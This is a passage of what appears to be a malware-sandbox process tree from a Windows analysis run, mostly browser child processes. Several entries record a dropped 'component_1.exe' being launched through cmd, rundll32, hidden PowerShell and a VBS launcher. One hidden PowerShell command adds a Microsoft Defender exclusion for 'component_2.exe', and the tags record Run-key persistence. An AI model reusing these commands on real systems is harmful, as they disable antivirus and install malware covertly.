        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --metrics-shmem-handle=5472,i,352608269457145493,14974469590893330427,2097152 --field-trial-handle=1956,i,3665260613156526097,9556128066253414981,262144 --variations-seed-version --mojo-platform-channel-handle=5696 /prefetch:1
        5⤵
        
        PID:6988
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5780,i,938839364274288931,12599695616316665863,524288 --field-trial-handle=1956,i,3665260613156526097,9556128066253414981,262144 --variations-seed-version --mojo-platform-channel-handle=5676 /prefetch:14
        5⤵
        
        PID:7140
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --metrics-shmem-handle=5112,i,2992110100496030823,14130980123485686112,2097152 --field-trial-handle=1956,i,3665260613156526097,9556128066253414981,262144 --variations-seed-version --mojo-platform-channel-handle=4616 /prefetch:1
        5⤵
        
        PID:6824
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --metrics-shmem-handle=6008,i,4914628957606687202,9286539000783285219,2097152 --field-trial-handle=1956,i,3665260613156526097,9556128066253414981,262144 --variations-seed-version --mojo-platform-channel-handle=5376 /prefetch:1
        5⤵
        
        PID:5812
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-first-run --disable-gpu about:blank
      4⤵
      Loads dropped DLL
      Drops file in Windows directory
      Enumerates system info in registry
      Modifies data under HKEY_USERS
      Modifies registry class
      Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
      Suspicious use of FindShellTrayWindow
      PID:6228
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x25c,0x260,0x264,0x258,0x284,0x7ffb4d15c188,0x7ffb4d15c194,0x7ffb4d15c1a0
        5⤵
        
        PID:6648
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --always-read-main-dll --metrics-shmem-handle=1708,i,711318846662137815,15781896491647948934,262144 --field-trial-handle=2852,i,8758227048277056520,12783036983541797858,262144 --variations-seed-version --mojo-platform-channel-handle=2848 /prefetch:2
        5⤵
        
        PID:6336
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1880,i,9222876946037939738,12347179544153697944,524288 --field-trial-handle=2852,i,8758227048277056520,12783036983541797858,262144 --variations-seed-version --mojo-platform-channel-handle=2864 /prefetch:11
        5⤵
        System Time Discovery
        
        PID:696
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2312,i,14747875787611832043,17206445648912185935,524288 --field-trial-handle=2852,i,8758227048277056520,12783036983541797858,262144 --variations-seed-version --mojo-platform-channel-handle=3040 /prefetch:13
        5⤵
        
        PID:5944
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3384,i,11743665427584218912,16784270446616299299,2097152 --field-trial-handle=2852,i,8758227048277056520,12783036983541797858,262144 --variations-seed-version --mojo-platform-channel-handle=3432 /prefetch:1
        5⤵
        
        PID:6688
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3388,i,11792187100932858131,18252144729330585242,2097152 --field-trial-handle=2852,i,8758227048277056520,12783036983541797858,262144 --variations-seed-version --mojo-platform-channel-handle=3436 /prefetch:1
        5⤵
        
        PID:6520
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5000,i,17394281738852501267,14526192842841953847,524288 --field-trial-handle=2852,i,8758227048277056520,12783036983541797858,262144 --variations-seed-version --mojo-platform-channel-handle=5012 /prefetch:14
        5⤵
        
        PID:7916
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4984,i,4944844255584668475,3164724796762060443,524288 --field-trial-handle=2852,i,8758227048277056520,12783036983541797858,262144 --variations-seed-version --mojo-platform-channel-handle=5040 /prefetch:14
        5⤵
        
        PID:7924
    - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5760,i,11853790434056789593,5802909014881727744,524288 --field-trial-handle=2852,i,8758227048277056520,12783036983541797858,262144 --variations-seed-version --mojo-platform-channel-handle=5776 /prefetch:14
        5⤵
        
        PID:8016
    - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5760,i,11853790434056789593,5802909014881727744,524288 --field-trial-handle=2852,i,8758227048277056520,12783036983541797858,262144 --variations-seed-version --mojo-platform-channel-handle=5776 /prefetch:14
        5⤵
        
        PID:4452
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5888,i,13391770511918323862,1195841613504899055,524288 --field-trial-handle=2852,i,8758227048277056520,12783036983541797858,262144 --variations-seed-version --mojo-platform-channel-handle=596 /prefetch:14
        5⤵
        
        PID:6348
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4216,i,14218726642946314080,8152561907769595303,524288 --field-trial-handle=2852,i,8758227048277056520,12783036983541797858,262144 --variations-seed-version --mojo-platform-channel-handle=6364 /prefetch:14
        5⤵
        
        PID:5648
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5848,i,2056304466248073423,11035884359345586700,524288 --field-trial-handle=2852,i,8758227048277056520,12783036983541797858,262144 --variations-seed-version --mojo-platform-channel-handle=6328 /prefetch:14
        5⤵
        
        PID:5748
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5088,i,16043433745841478346,8365386500531380882,524288 --field-trial-handle=2852,i,8758227048277056520,12783036983541797858,262144 --variations-seed-version --mojo-platform-channel-handle=5076 /prefetch:14
        5⤵
        
        PID:5788
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1960,i,14416082705306519669,2455289399195700227,524288 --field-trial-handle=2852,i,8758227048277056520,12783036983541797858,262144 --variations-seed-version --mojo-platform-channel-handle=5936 /prefetch:14
        5⤵
        
        PID:7852
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5184,i,16705608955810912473,3258218872837597529,524288 --field-trial-handle=2852,i,8758227048277056520,12783036983541797858,262144 --variations-seed-version --mojo-platform-channel-handle=6364 /prefetch:14
        5⤵
        
        PID:1392
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "cmd.exe /c start "" "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783006193456\component_1.exe""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:6684
  - - C:\Windows\system32\cmd.exe
      cmd.exe /c start "" "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783006193456\component_1.exe"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:5712
    - - C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783006193456\component_1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783006193456\component_1.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious behavior: EnumeratesProcesses
        
        PID:6904
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "explorer.exe "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783006193456\component_1.exe""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3340
  - - C:\Windows\explorer.exe
      explorer.exe "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783006193456\component_1.exe"
      4⤵
      PID:5620
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "rundll32.exe url.dll,FileProtocolHandler "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783006193456\component_1.exe""
    3⤵
    - System Binary Proxy Execution: Rundll32
    - Suspicious use of WriteProcessMemory
    PID:4316
  - - C:\Windows\system32\rundll32.exe
      rundll32.exe url.dll,FileProtocolHandler "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783006193456\component_1.exe"
      4⤵
      System Binary Proxy Execution: Rundll32
      Suspicious use of WriteProcessMemory
      PID:6620
    - - C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783006193456\component_1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783006193456\component_1.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious behavior: EnumeratesProcesses
        
        PID:4800
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -WindowStyle Hidden -Command "Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783006193456\component_1.exe' -WindowStyle Hidden""
    3⤵
    - Hide Artifacts: Hidden Window
    PID:1004
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -WindowStyle Hidden -Command "Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783006193456\component_1.exe' -WindowStyle Hidden"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:5960
    - - C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783006193456\component_1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783006193456\component_1.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious behavior: EnumeratesProcesses
        
        PID:2420
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "wscript.exe //B //Nologo "C:\Users\Admin\AppData\Local\Temp\launcher_1783006212336.vbs""
    3⤵
    PID:4892
  - - C:\Windows\system32\wscript.exe
      wscript.exe //B //Nologo "C:\Users\Admin\AppData\Local\Temp\launcher_1783006212336.vbs"
      4⤵
      PID:3076
    - - C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783006193456\component_1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783006193456\component_1.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious behavior: EnumeratesProcesses
        
        PID:4396
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783006193456\component_2.exe' -ErrorAction SilentlyContinue""
    3⤵
    - Prevents Microsoft Defender from scanning certain paths by adding an exclusion.
    - Hide Artifacts: Hidden Window
    - Hide Artifacts: Ignore Process Interrupts
    PID:2092
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783006193456\component_2.exe' -ErrorAction SilentlyContinue"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:6940
- - C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783006193456\component_2.exe
    C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783006193456\component_2.exe
    3⤵
    - Drops startup file
    - Executes dropped EXE
    - Adds Run key to start application
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Checks processor information in registry
    - Suspicious behavior: EnumeratesProcesses
    PID:6944
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
      4⤵
      PID:4456
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe"
      4⤵
      PID:5652
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --user-data-dir="C:\Users\Admin\AppData\Local\Temp\1jbim4xb.bvx" --app=http://127.0.0.1:51578
      4⤵
      Drops file in Windows directory
      Enumerates system info in registry
      Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
      Suspicious use of FindShellTrayWindow
      PID:6056
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\1jbim4xb.bvx /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\1jbim4xb.bvx\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\1jbim4xb.bvx --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x12c,0x130,0x134,0x108,0x138,0x7ffb4f68c728,0x7ffb4f68c734,0x7ffb4f68c740
        5⤵
        
        PID:6292
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Local\Temp\1jbim4xb.bvx" --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1720,i,14151634196492146009,3869038830632404761,524288 --field-trial-handle=2008,i,12541416194344040377,411145762808633273,262144 --variations-seed-version --mojo-platform-channel-handle=2036 /prefetch:11
        5⤵
        System Time Discovery
        
        PID:2496
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --user-data-dir="C:\Users\Admin\AppData\Local\Temp\1jbim4xb.bvx" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1608,i,12273635172425362119,1399954087825737228,262144 --field-trial-handle=2008,i,12541416194344040377,411145762808633273,262144 --variations-seed-version --mojo-platform-channel-handle=2004 /prefetch:2
        5⤵
        
        PID:2412
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --user-data-dir="C:\Users\Admin\AppData\Local\Temp\1jbim4xb.bvx" --force-high-res-timeticks=disabled --metrics-shmem-handle=2296,i,13887969614380753945,7225570914186055196,524288 --field-trial-handle=2008,i,12541416194344040377,411145762808633273,262144 --variations-seed-version --mojo-platform-channel-handle=2304 /prefetch:13
        5⤵
        
        PID:7044
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\1jbim4xb.bvx" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3264,i,3244644682681837028,9849218036805281578,2097152 --field-trial-handle=2008,i,12541416194344040377,411145762808633273,262144 --variations-seed-version --mojo-platform-channel-handle=3268 /prefetch:1
        5⤵
        
        PID:3884
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\1jbim4xb.bvx" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3272,i,13360921555996168105,7208439764368107636,2097152 --field-trial-handle=2008,i,12541416194344040377,411145762808633273,262144 --variations-seed-version --mojo-platform-channel-handle=3304 /prefetch:1
        5⤵
        
        PID:6940
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\1jbim4xb.bvx" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=3808,i,12567994655039862945,16632357416321380679,2097152 --field-trial-handle=2008,i,12541416194344040377,411145762808633273,262144 --variations-seed-version --mojo-platform-channel-handle=3856 /prefetch:1
        5⤵
        
        PID:4972
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\1jbim4xb.bvx" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=3896,i,9434951033962630122,4966624577115767935,2097152 --field-trial-handle=2008,i,12541416194344040377,411145762808633273,262144 --variations-seed-version --mojo-platform-channel-handle=3240 /prefetch:9
        5⤵
        
        PID:2388
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\1jbim4xb.bvx" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --metrics-shmem-handle=4548,i,11587254009100945147,8438599794227035189,2097152 --field-trial-handle=2008,i,12541416194344040377,411145762808633273,262144 --variations-seed-version --mojo-platform-channel-handle=4632 /prefetch:9
        5⤵
        
        PID:2796
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --user-data-dir="C:\Users\Admin\AppData\Local\Temp\zefcva3j.fhn" --app=http://127.0.0.1:51756
      4⤵
      Drops file in Windows directory
      Enumerates system info in registry
      Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
      Suspicious use of FindShellTrayWindow
      PID:7452
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\zefcva3j.fhn /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\zefcva3j.fhn\Crashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x264,0x268,0x26c,0x260,0x274,0x7ffb4d15c188,0x7ffb4d15c194,0x7ffb4d15c1a0
        5⤵
        
        PID:7480
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Local\Temp\zefcva3j.fhn" --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2156,i,8306596929851006676,9420018955082213997,524288 --field-trial-handle=2424,i,784752274431109469,7282499573112422619,262144 --variations-seed-version --mojo-platform-channel-handle=2452 /prefetch:11
        5⤵
        System Time Discovery
        
        PID:7748
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --user-data-dir="C:\Users\Admin\AppData\Local\Temp\zefcva3j.fhn" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1960,i,430864868475943977,2445688987068649753,262144 --field-trial-handle=2424,i,784752274431109469,7282499573112422619,262144 --variations-seed-version --mojo-platform-channel-handle=2420 /prefetch:2
        5⤵
        
        PID:7776
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --user-data-dir="C:\Users\Admin\AppData\Local\Temp\zefcva3j.fhn" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2600,i,18252180515688283924,10148163533446555304,524288 --field-trial-handle=2424,i,784752274431109469,7282499573112422619,262144 --variations-seed-version --mojo-platform-channel-handle=3016 /prefetch:13
        5⤵
        
        PID:7848
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\zefcva3j.fhn" --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3456,i,2232196343912763198,9388833634149299564,2097152 --field-trial-handle=2424,i,784752274431109469,7282499573112422619,262144 --variations-seed-version --mojo-platform-channel-handle=3520 /prefetch:1
        5⤵
        
        PID:7988
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\zefcva3j.fhn" --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3460,i,2882936690485932207,1331270000024730021,2097152 --field-trial-handle=2424,i,784752274431109469,7282499573112422619,262144 --variations-seed-version --mojo-platform-channel-handle=3524 /prefetch:1
        5⤵
        
        PID:8024
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --user-data-dir="C:\Users\Admin\AppData\Local\Temp\zefcva3j.fhn" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3924,i,5569521372801072615,78476202654721392,524288 --field-trial-handle=2424,i,784752274431109469,7282499573112422619,262144 --variations-seed-version --mojo-platform-channel-handle=3968 /prefetch:14
        5⤵
        
        PID:8168
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --user-data-dir="C:\Users\Admin\AppData\Local\Temp\zefcva3j.fhn" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3960,i,17320483763178643884,3350178899387821403,524288 --field-trial-handle=2424,i,784752274431109469,7282499573112422619,262144 --variations-seed-version --mojo-platform-channel-handle=3988 /prefetch:14
        5⤵
        
        PID:8176
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
